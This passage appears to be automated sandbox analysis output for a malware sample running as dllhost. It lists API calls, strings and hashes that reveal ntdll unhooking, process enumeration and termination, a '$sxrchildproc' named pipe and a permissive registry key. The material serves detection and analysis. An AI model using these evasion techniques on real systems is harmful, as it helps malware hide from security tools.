Part of subcall function 004019FA: GetCurrentProcess.KERNEL32(?,ntdll.dll,ntdll.dll,?,00401DEC), ref: 00401A08
Part of subcall function 004019FA: IsWow64Process.KERNEL32(00000000,?,00401DEC), ref: 00401A0F

StrCpyW.SHLWAPI ref: 00401E03
StrCatW.SHLWAPI ref: 00401E12
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 00401E19
GetCurrentProcess.KERNEL32(00000000,?,0000000C), ref: 00401E3E
K32GetModuleInformation.KERNEL32(00000000), ref: 00401E45
CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401E69
CreateFileMappingW.KERNELBASE(00000000,00000000,01000002,00000000,00000000,00000000), ref: 00401E87
MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 00401E9E
lstrcmpiA.KERNEL32(00401F6B,.text), ref: 00401EDC
VirtualProtect.KERNEL32(?,32F4B90A,00000040,?), ref: 00401F0C
VirtualProtect.KERNEL32(?,32F4B90A,?,?), ref: 00401F29
FindCloseChangeNotification.KERNELBASE(?), ref: 00401F34
CloseHandle.KERNEL32(00000000), ref: 00401F3B
FreeLibrary.KERNEL32(00000000), ref: 00401F43

Strings

C:\Windows\SysWOW64\, xrefs: 00401DF6
ntdll.dll, xrefs: 00401E0A, 00401E18
.text, xrefs: 00401ECF
C:\Windows\System32\, xrefs: 00401DFD

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: FileProcess$CloseCreateCurrentHandleModuleProtectVirtual$ChangeFindFreeInformationLibraryMappingNotificationViewWow64lstrcmpi
String ID: .text$C:\Windows\SysWOW64\$C:\Windows\System32\$ntdll.dll
API String ID: 3518538039-4096225029
Opcode ID: c30aa5182b79588eaa17673ae1eb34337f6289a1362defd548a5370a50861279
Instruction ID: 0cdc86c9c0c289f199924ec369a22b62943f1a56bb26273ae121f609569670d2
Opcode Fuzzy Hash: c30aa5182b79588eaa17673ae1eb34337f6289a1362defd548a5370a50861279
Instruction Fuzzy Hash: 1341AF71901215ABDB10DFA1DD89EAFBFBCEF48711F104166B905F2290D778DA01CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004016FD Relevance: 19.6, APIs: 13, Instructions: 140
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00009C40,74DF2E90,00000000,00000000), ref: 00401720
HeapAlloc.KERNEL32(00000000), ref: 0040172D
GetProcessHeap.KERNEL32(00000000,00009C40), ref: 0040173B
HeapAlloc.KERNEL32(00000000), ref: 00401742
K32EnumProcesses.KERNEL32(004018DB,00009C40,?), ref: 00401757
OpenProcess.KERNEL32(00000410,00000000,004018DB), ref: 00401786
K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?), ref: 004017A3
ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000), ref: 004017D9
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401867
GetProcessHeap.KERNEL32(00000000,004018DB), ref: 0040187B
HeapFree.KERNEL32(00000000), ref: 00401888
GetProcessHeap.KERNEL32(00000000,?), ref: 0040188E
RtlFreeHeap.NTDLL(00000000), ref: 00401895

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$ChangeCloseFindMemoryModulesNotificationOpenProcessesRead
String ID:
API String ID: 2178662837-0
Opcode ID: 06d371d356d1a68a379f45de22ab422bdb666e2b089f0b1cd932ea4aafa399ab
Instruction ID: f944c13f248919bbff2ebf0d05b4004713a15aee8a1618dc714bfd3de059199b
Opcode Fuzzy Hash: 06d371d356d1a68a379f45de22ab422bdb666e2b089f0b1cd932ea4aafa399ab
Instruction Fuzzy Hash: 3A513E71E01219ABDB11DFA5CD84AAFBBB8FF48701F10846AE545B7290D778EB40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004021ED Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401BC6: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401BEE
Part of subcall function 00401BC6: SetEntriesInAclW.ADVAPI32(00000001,?,00000000,004021FE), ref: 00401C33
Part of subcall function 00401BC6: LocalAlloc.KERNEL32(00000040,00000014), ref: 00401C41
Part of subcall function 00401BC6: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00401C50
Part of subcall function 00401BC6: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,004021FE,00000000), ref: 00401C61
Part of subcall function 00401BC6: CreateNamedPipeW.KERNELBASE(\\.\pipe\$sxrchildproc34226543a32,00000003,00000000,000000FF,00000400,00000400,00000000,?), ref: 00401C8D

Sleep.KERNEL32(00000001), ref: 00402207
ConnectNamedPipe.KERNELBASE(00000000,00000000), ref: 00402212
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 00402229
WriteFile.KERNEL32(00000000,0000004D,00000001,?,00000000), ref: 0040224B
Sleep.KERNEL32(00000001), ref: 00402255
DisconnectNamedPipe.KERNEL32(00000000), ref: 0040225C

Strings

M, xrefs: 0040223F
\\.\pipe\$sxrchildproc34226543a32, xrefs: 004021F4

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\$sxrchildproc34226543a32
API String ID: 2203880229-931012095
Opcode ID: 8bbcbc9c30bf249403b67e5192530c3daad7030c3e3b146d5d97f71634417a3f
Instruction ID: 5dace2141bef9c3b5cd1cb720ea8b1ec6a8901c3fd299cecde42825f938ecfee
Opcode Fuzzy Hash: 8bbcbc9c30bf249403b67e5192530c3daad7030c3e3b146d5d97f71634417a3f
Instruction Fuzzy Hash: A1012C30541114BBE710ABA09E0DFEE7B6CAF04702F0040B6F621F51D5DBB85B4586AA

Uniqueness

Uniqueness Score: -1.00%

Function 00401A9B Relevance: 13.6, APIs: 9, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcessToken.ADVAPI32(00000000,00000008,?,?), ref: 00401AAE
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00401AC3
GetLastError.KERNEL32 ref: 00401ACD
LocalAlloc.KERNEL32(00000000,?,00000000), ref: 00401ADD
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 00401AF6
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 00401B02
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 00401B0F
LocalFree.KERNEL32(00000000), ref: 00401B1E
CloseHandle.KERNEL32(?), ref: 00401B28

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Token$AuthorityInformationLocal$AllocCloseCountErrorFreeHandleLastOpenProcess
String ID:
API String ID: 134889411-0
Opcode ID: 3f6903201eff1ad7ec3e2dd7b63a750a26bf1666cece8edcd273cf13e87f80dd
Instruction ID: 9164ece030e66e8021fde0b930ee6f0da4f620963b5e28a9a42e3cf50d94b084
Opcode Fuzzy Hash: 3f6903201eff1ad7ec3e2dd7b63a750a26bf1666cece8edcd273cf13e87f80dd
Instruction Fuzzy Hash: 1F11E635A01208FFDB219F65DD08EAE7FBDEB45702B004065F941F6164D7349A05DA64

Uniqueness

Uniqueness Score: -1.00%

Function 004018A7 Relevance: 10.6, APIs: 7, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00003E80,00000000), ref: 004018B8
HeapAlloc.KERNEL32(00000000), ref: 004018BF

Part of subcall function 004016FD: GetProcessHeap.KERNEL32(00000000,00009C40,74DF2E90,00000000,00000000), ref: 00401720
Part of subcall function 004016FD: HeapAlloc.KERNEL32(00000000), ref: 0040172D
Part of subcall function 004016FD: GetProcessHeap.KERNEL32(00000000,00009C40), ref: 0040173B
Part of subcall function 004016FD: HeapAlloc.KERNEL32(00000000), ref: 00401742
Part of subcall function 004016FD: K32EnumProcesses.KERNEL32(004018DB,00009C40,?), ref: 00401757
Part of subcall function 004016FD: OpenProcess.KERNEL32(00000410,00000000,004018DB), ref: 00401786
Part of subcall function 004016FD: K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?), ref: 004017A3
Part of subcall function 004016FD: ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000), ref: 004017D9
Part of subcall function 004016FD: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401867
Part of subcall function 004016FD: GetProcessHeap.KERNEL32(00000000,004018DB), ref: 0040187B
Part of subcall function 004016FD: HeapFree.KERNEL32(00000000), ref: 00401888

OpenProcess.KERNEL32(00000001,00000000,00000000,74DF2E90,00000000), ref: 00401902
TerminateProcess.KERNEL32(00000000,00000000), ref: 00401912
CloseHandle.KERNEL32(?), ref: 0040191B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401931
HeapFree.KERNEL32(00000000), ref: 00401938

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeOpen$ChangeFindHandleMemoryModulesNotificationProcessesReadTerminate
String ID:
API String ID: 1088988999-0
Opcode ID: 6b1c4ebb3777feb8a05adef8be37bc18a57d842e180a3acae5b33e55d23f7326
Instruction ID: fb9a27978f6a034ac965e41c8b7e99190f8b99f20516355282bac86f31688869
Opcode Fuzzy Hash: 6b1c4ebb3777feb8a05adef8be37bc18a57d842e180a3acae5b33e55d23f7326
Instruction Fuzzy Hash: 3F112AB1E01304BBDB10AFE59D88B4EBBBCEB08712F108476E505B32E5D7759A44CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(80000002,SOFTWARE\$sxrconfig,00000000,00000000,00000000,000F013F,00000000,?,00000000,74DF2E90,00000000,?,?,?,00401FE7), ref: 00401577
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA),00000001,?,?), ref: 00401596
RegSetKeySecurity.KERNELBASE(?,00000004,?,?,00401FE7), ref: 004015A7
LocalFree.KERNEL32(?,?,00401FE7), ref: 004015B0

Strings

SOFTWARE\$sxrconfig, xrefs: 0040156D
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00401591

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Security$Descriptor$ConvertCreateFreeLocalString
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$SOFTWARE\$sxrconfig
API String ID: 200925960-2289364234
Opcode ID: c692efe74f0057505f4a1857620f9dc869b443ba960f10c4b16b43229a36ce3f
Instruction ID: e221c2813855d26ddeeea765a6059013b2d6337bb14bfc1399376ef4206ac4e7
Opcode Fuzzy Hash: c692efe74f0057505f4a1857620f9dc869b443ba960f10c4b16b43229a36ce3f
Instruction Fuzzy Hash: B7F04F71A01144FAEB208F93DD4DE9BBEBCEBC9B52F10007AB506F51A0D6B19B00D634

Uniqueness

Uniqueness Score: -1.00%

Function 00402144 Relevance: 9.1, APIs: 6, Instructions: 65
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00009C40), ref: 0040215A
HeapAlloc.KERNEL32(00000000), ref: 00402163
GetProcessHeap.KERNEL32(00000000,00009C40), ref: 00402171
HeapAlloc.KERNEL32(00000000), ref: 00402174
K32EnumProcesses.KERNEL32(00000000,00009C40,00000000), ref: 00402189
Sleep.KERNEL32(?), ref: 004021E5

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: e5adb8926e7dec3823364b7b493ddd17e58a4642b9b77fd56c7ff8a0fadb3289
Instruction ID: 66d67af688ccf783c9b14762ec8d461ab50095ac80c86e35fe63267406dd6c23
Opcode Fuzzy Hash: e5adb8926e7dec3823364b7b493ddd17e58a4642b9b77fd56c7ff8a0fadb3289
Instruction Fuzzy Hash: 79118435A00208FBEB00DFA5CE89E9EBBB9EF44340F114066E601BB2D1DA74EE01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00401A24 Relevance: 4.5, APIs: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004019FA: GetCurrentProcess.KERNEL32(?,ntdll.dll,ntdll.dll,?,00401DEC), ref: 00401A08
Part of subcall function 004019FA: IsWow64Process.KERNEL32(00000000,?,00401DEC), ref: 00401A0F

OpenProcess.KERNEL32(00001000,00000000,?,?,?,00000000,?,?,004015E7), ref: 00401A41
IsWow64Process.KERNEL32(00000000,?,?,004015E7), ref: 00401A52
FindCloseChangeNotification.KERNELBASE(00000000,?,004015E7), ref: 00401A68

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Process$Wow64$ChangeCloseCurrentFindNotificationOpen
String ID:
API String ID: 4129136839-0
Opcode ID: a0c2e445314d4d3943c277c77b2de6f04aacceb240dc7e2a74db8b74a1d4ebff
Instruction ID: 9bba9e8d02ee339451b18017cc5224c975329efc84972edc9a767445a5fcdd74
Opcode Fuzzy Hash: a0c2e445314d4d3943c277c77b2de6f04aacceb240dc7e2a74db8b74a1d4ebff
Instruction Fuzzy Hash: 24F0BB31712124BBD7115BB55D44E67BEACDA45FD1304003AF505E31A4DA74CE0196A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401F4D Relevance: 3.0, APIs: 2, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401F5A: FindResourceA.KERNEL32(00000000,00000065,DLL), ref: 00401F8F
Part of subcall function 00401F5A: SizeofResource.KERNEL32(00000000,00000000), ref: 00401FA1
Part of subcall function 00401F5A: LoadResource.KERNEL32(00000000,00000000), ref: 00401FB6
Part of subcall function 00401F5A: LockResource.KERNEL32(00000000), ref: 00401FC5
Part of subcall function 00401F5A: GetCurrentProcessId.KERNEL32 ref: 00401FD6
Part of subcall function 00401F5A: RegCreateKeyExW.KERNELBASE(?,pid,00000000,00000000,00000000,000F013F,00000000,?,00000000), ref: 00402001
Part of subcall function 00401F5A: GetCurrentProcessId.KERNEL32 ref: 00402011
Part of subcall function 00401F5A: RegSetValueExW.KERNELBASE(?,svc32,00000000,00000004,?,00000004), ref: 00402027
Part of subcall function 00401F5A: RegCloseKey.KERNELBASE(?), ref: 00402030
Part of subcall function 00401F5A: RegCloseKey.ADVAPI32(?), ref: 00402035
Part of subcall function 00401F5A: CreateThread.KERNELBASE(00000000,00000000,004021ED,0040210E,00000000,00000000), ref: 0040204B
Part of subcall function 00401F5A: GetProcessHeap.KERNEL32(00000000,00000008), ref: 00402056
Part of subcall function 00401F5A: HeapAlloc.KERNEL32(00000000), ref: 00402059
Part of subcall function 00401F5A: CreateThread.KERNELBASE(00000000,00000000,00402144,00000000,00000000,00000000), ref: 00402078

ExitProcess.KERNEL32 ref: 00401F53

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: ProcessResource$Create$CloseCurrentHeapThread$AllocExitFindLoadLockSizeofValue
String ID:
API String ID: 174967751-0
Opcode ID: 737b34eaf55ec59df306f5ceb539ecb8c1703084bb46b4a449e56836c782dc18
Instruction ID: a9820ec4fc1e7acf1a8feda80c12b2f9dfc763f825636f6784c730f50046647e
Opcode Fuzzy Hash: 737b34eaf55ec59df306f5ceb539ecb8c1703084bb46b4a449e56836c782dc18
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040119B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,004014CA,00000000,00000000,00000000,00000000,75A8EB20,75A8E9B0), ref: 004011BE
GetProcessHeap.KERNEL32(00000000,0000020A,00000000), ref: 004011D3
HeapAlloc.KERNEL32(00000000), ref: 004011DA
RegEnumValueW.ADVAPI32(?,00000000,?,00000064,00000000,?,00000000,?), ref: 00401213
StrCmpIW.SHLWAPI(?,00000000), ref: 0040123E
StrCmpW.SHLWAPI ref: 00401246
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00401276
HeapFree.KERNEL32(00000000), ref: 0040127D

Strings

d, xrefs: 004011EE

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: d73c19a54e81282df246583a50c1a1210eac5d4a094454cc8cdd8a36e7cb4c15
Instruction ID: d640552e9f22904feccb17d456dea9a8e24644a51106c3a71cedb22d8a8be99a
Opcode Fuzzy Hash: d73c19a54e81282df246583a50c1a1210eac5d4a094454cc8cdd8a36e7cb4c15
Instruction Fuzzy Hash: BE215E70A01219AFDB149FA5DD89EBF7BBCEB05746F10407AF502F2290DB749E44CA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401036 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00401546,00000000,00000000,00000000,00000000,75A8EB20,00000000,75A8E9B0), ref: 0040105A
RegEnumValueW.ADVAPI32(?,00000000,?,00000064,00000000,?,?,?), ref: 0040109A
GetProcessHeap.KERNEL32(00000000,00402119), ref: 004010D8
HeapAlloc.KERNEL32(00000000), ref: 004010DF
GetProcessHeap.KERNEL32(00000000,?), ref: 00401101
HeapFree.KERNEL32(00000000), ref: 00401108

Strings

d, xrefs: 00401074

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 7b4d3b6641b07eb937e7a369afc3294f1d3ce15779a756da97ef228e243b234e
Instruction ID: 57caec0935285c63823a40c3b790b2e44c04603e6b4b5bea2248a5db0420a1a1
Opcode Fuzzy Hash: 7b4d3b6641b07eb937e7a369afc3294f1d3ce15779a756da97ef228e243b234e
Instruction Fuzzy Hash: 2E314DB1A00109AFEB14CF95C985EAFB7BCFB48355F10813AE615A7250D734AE51CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004012D7 Relevance: 12.1, APIs: 8, Instructions: 63memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00402119,00000000,?,00000000,?,?,00401269), ref: 00401303
HeapAlloc.KERNEL32(00000000,?,00401269), ref: 0040130A
GetProcessHeap.KERNEL32(00000000,?,?,00401269), ref: 00401329
HeapFree.KERNEL32(00000000,?,?,00401269), ref: 00401330
lstrlenW.KERNEL32(00000000,00000000,?,00000000,?,?,00401269), ref: 0040133A
GetProcessHeap.KERNEL32(00000000,00000000,?,00401269), ref: 0040134A
HeapAlloc.KERNEL32(00000000,?,00401269), ref: 00401351
StrCpyW.SHLWAPI ref: 0040136C

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Freelstrlen
String ID:
API String ID: 323503520-0
Opcode ID: 77067b0d86f020f0006faa5050e86f85831b5ac361377b68dab5ac07c0838897
Instruction ID: 0c35d41d4a5831c7286e3a859a2d67a993266f93d668fef154473b9164c6d7c4
Opcode Fuzzy Hash: 77067b0d86f020f0006faa5050e86f85831b5ac361377b68dab5ac07c0838897
Instruction Fuzzy Hash: 8A119DB1601221EFD700DF64D988E5ABBACFF89352B10816AF506E7354DB70AA01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401288 Relevance: 7.5, APIs: 6, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,74DEF380,004020AE), ref: 004012A1
HeapFree.KERNEL32(00000000), ref: 004012A8
GetProcessHeap.KERNEL32(00000000,?,00000000,00000000,74DEF380,004020AE), ref: 004012B4
HeapFree.KERNEL32(00000000), ref: 004012BB
GetProcessHeap.KERNEL32(00000000), ref: 004012CA
HeapFree.KERNEL32(00000000), ref: 004012D1

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 45446f9ffb7c27f9e168ee55d5c56946529401b288a5ee0ba804ee7e853b28ec
Instruction ID: b9b7e015a57eb0db395fe518e4433acabc3da38b8c0af5df2f90cb499903a53d
Opcode Fuzzy Hash: 45446f9ffb7c27f9e168ee55d5c56946529401b288a5ee0ba804ee7e853b28ec
Instruction Fuzzy Hash: CEF08272301200AFE6106FE49C49F1A7B9DEB84712F004429F249A7090CA74A8409778

Uniqueness

Uniqueness Score: -1.00%

Function 00401988 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

VerSetConditionMask.NTDLL(00000000,00000000,00000002,00000003), ref: 004019D6
VerSetConditionMask.NTDLL(00000000), ref: 004019DA
VerSetConditionMask.NTDLL(00000000), ref: 004019DE
VerifyVersionInfoW.KERNEL32 ref: 004019EB

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 2787407655efc20fff6a9d8b53e8ad4e77dfa48991eab2c65fe5d204cd485eb4
Instruction ID: b3088378c453d95af0c4542853b38df63fe50f7082c2df03651b23dc33d80260
Opcode Fuzzy Hash: 2787407655efc20fff6a9d8b53e8ad4e77dfa48991eab2c65fe5d204cd485eb4
Instruction Fuzzy Hash: A9F018B0A9431C79FB289B64DC1BFEB7A7CDB45B00F0081597205F61C1D5B45B414AE4

Uniqueness

Uniqueness Score: -1.00%

Function 004019FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,ntdll.dll,ntdll.dll,?,00401DEC), ref: 00401A08
IsWow64Process.KERNEL32(00000000,?,00401DEC), ref: 00401A0F

Strings

ntdll.dll, xrefs: 004019FD, 004019FE

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Process$CurrentWow64
String ID: ntdll.dll
API String ID: 1905925150-2227199552
Opcode ID: 03295c593a5503e2dde2a986b3379b6811fbb451b98e02955a8ef8d2f1d28dfd
Instruction ID: 06259989cea86e0b061d28083f79a8307f71ba07c1a95a57cc55de1362444462
Opcode Fuzzy Hash: 03295c593a5503e2dde2a986b3379b6811fbb451b98e02955a8ef8d2f1d28dfd
Instruction Fuzzy Hash: CFD01271A02224FFCA109B95AD0898FBBACEA44B417104066A501F2154D674DF04DAE4

Uniqueness

Uniqueness Score: -1.00%

Function 0040115E Relevance: 5.0, APIs: 4, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000010,00000000,00401399,?,?,?,?,?,0040207F), ref: 00401163
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040116A
GetProcessHeap.KERNEL32(00000000,00000040,?,?,?,?,?,0040207F), ref: 00401187
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040118E

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 885a11a9880dcc0c819abbe253fd760aedac661f3a7600194844b7c3d13ba120
Instruction ID: 4b654fa5435c37f94ce0262a310420d91d61308a5e9fd9e293b9bf8f3483adb4
Opcode Fuzzy Hash: 885a11a9880dcc0c819abbe253fd760aedac661f3a7600194844b7c3d13ba120
Instruction Fuzzy Hash: 4EE0B6B1741701AFE3005F66ED0DB05BEA8BB84713F008525F209A6294C7F9A150CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 5.0, APIs: 4, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0000000C,00000000,004013A0,?,?,?,?,?,0040207F), ref: 00401005
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 0040100C
GetProcessHeap.KERNEL32(00000000,00000040,?,?,?,?,?,0040207F), ref: 00401022
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0040207F), ref: 00401029

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 9ab1f129f06e7e311e7c1b3ccb71ffef87ef0444cbad93c226a97160af2f3025
Instruction ID: 3655e1e9d02de74c639ba0de4372b024f1e7c357000c5007300e266bd1ea0d1f
Opcode Fuzzy Hash: 9ab1f129f06e7e311e7c1b3ccb71ffef87ef0444cbad93c226a97160af2f3025
Instruction Fuzzy Hash: A8E0E2B1741301AFE7405FA6ED0DB067EA8BB84713F008521F206E6298C7B49100CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0040112D Relevance: 5.0, APIs: 4, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,74DEF380,004020B6), ref: 00401135
HeapFree.KERNEL32(00000000), ref: 0040113C
GetProcessHeap.KERNEL32(00000000,?), ref: 0040114F
HeapFree.KERNEL32(00000000), ref: 00401156

Memory Dump Source

Source File: 00000017.00000002.2086552799.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_dllhost.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d1c54a0f835e7ba13855c51fd6259624f5865ec1ca741ca66227df171c51b8af
Instruction ID: 2693185da4d0c2e810f24c4556aaef60f99b1188b93b94b34d5ef21fdf38a5ee
Opcode Fuzzy Hash: d1c54a0f835e7ba13855c51fd6259624f5865ec1ca741ca66227df171c51b8af
Instruction Fuzzy Hash: 09D067B2341200EFEA042FE0AD8EB593A5CAB48B13F008425F20AA90A5CAB599448738

Uniqueness

Uniqueness Score: -1.00%

Source: $sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
